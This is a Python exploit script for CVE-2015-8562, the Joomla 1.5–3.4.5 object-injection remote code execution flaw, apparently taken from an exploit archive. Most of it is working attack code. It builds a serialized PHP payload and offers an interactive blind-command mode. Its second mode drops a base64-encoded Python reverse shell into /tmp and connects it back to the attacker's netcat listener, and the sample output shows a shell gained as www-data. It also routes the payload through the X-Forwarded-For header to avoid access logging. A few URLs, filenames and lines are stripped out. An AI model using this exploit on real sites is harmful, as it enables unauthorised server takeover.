Joomla! 1.5 < 3.4.5 - Object Injection 'x-forwarded-for' Header Remote Code Execution







#!/usr/bin/env python

# Exploit Title: Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header
# Date: 12/17/2015
# Exploit Author: original - Gary@ Sec-1 ltd, Modified - Andrew McNicol BreakPoint Labs (@0xcc_labs)
# Vendor Homepage:
# Software Link:
# Version: Joomla 1.5 - 3.4.5
# Tested on: Ubuntu 14.04.2 LTS (Joomla! 3.2.1 Stable)
# CVE : CVE-2015-8562

    Joomla 1.5 - 3.4.5 Object Injection RCE - CVE-2015-8562
    PoC for CVE-2015-8562 to spawn a reverse shell or automate RCE

    Original PoC from Gary@ Sec-1 ltd (

    Vulnerability Info, Exploit, Detection:

    Exploit modified to use "X-Forwarded-For" header instead of "User-Agent" to avoid default logged to access.log

    Usage - Automate Blind RCE:
    python -t --cmd
    $ touch /tmp/newhnewh    

    Usage - Spawn Reverse Shell using Pentestmonkey's Python one-liner and netcat listener on local host:
    python -t -l -p 4444
    [-] Attempting to exploit Joomla RCE (CVE-2015-8562) on:
    [-] Uploading python reverse shell with LHOST: and LPORT:4444
    <Response [200]>
    [+] Spawning reverse shell....
    <Response [200]>

    Listening on [] (family 0, port 4444)
    $ python -c "import pty;pty.spawn('/bin/bash')"
    www-data@ubuntu:/$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

import requests
import subprocess
import argparse
import sys
import base64
# Heavy lifting from PoC author Gary@ Sec-1 ltd (
def get_url(url, user_agent):
    headers = {
    'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3', # Change default UA for Requests
    'x-forwarded-for': user_agent   # X-Forwarded-For header instead of UA
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response

def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
    return encoded[:-1]

def generate_payload(php_payload):
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
    return exploit_template

def main():
    parser = argparse.ArgumentParser(prog='', description='Automate blind RCE for Joomla vuln CVE-2015-8652')
    parser.add_argument('-t', dest='RHOST', required=True, help='Remote Target Joomla Server')
    parser.add_argument('-l', dest='LHOST', help='specifiy local ip for reverse shell')
    parser.add_argument('-p', dest='LPORT', help='specifiy local port for reverse shell')
    parser.add_argument('--cmd', dest='cmd', action='store_true', help='drop into blind RCE')

    args = parser.parse_args()

    if args.cmd:
        print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
        print "[-] Dropping into shell-like environment to perform blind RCE"
        while True:
            command = raw_input('$ ')
            cmd_str = "system('{}');".format(command)
            pl = generate_payload(cmd_str)
            print get_url(args.RHOST, pl)

    # Spawn Reverse Shell using Netcat listener + Python shell on victim
    elif args.LPORT and args.LPORT:
        connection = "'{}', {}".format(args.LHOST, args.LPORT)

        # pentestmonkey's Python reverse shell one-liner:
        shell_str = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('''+connection+'''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'''
        # Base64 encoded the Python reverse shell as some chars were messing up in the exploit
        encoded_comm = base64.b64encode(shell_str)
        # Stage 1 payload Str
        payload = "echo {} | base64 -d > /tmp/".format(encoded_comm)
        print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
        print "[-] Uploading python reverse shell with LHOST {} and {}".format(args.LHOST, args.LPORT)
        # Stage 1: Uploads the Python reverse shell to "/tmp/"
        pl = generate_payload("system('"+payload+"');")
        print get_url(args.RHOST, pl)
        # Spawns Shell listener using netcat on LHOST
        listener = subprocess.Popen(args=["gnome-terminal", "--command=nc -lvp "+args.LPORT])
        print "[+] Spawning reverse shell...."
        # Stage 2: Executes Python reverse shell back to LHOST:LPORT
        pl = generate_payload("system('python /tmp/');")
        print get_url(args.RHOST, pl)
        print '[!] missing arguments'

if __name__ == "__main__":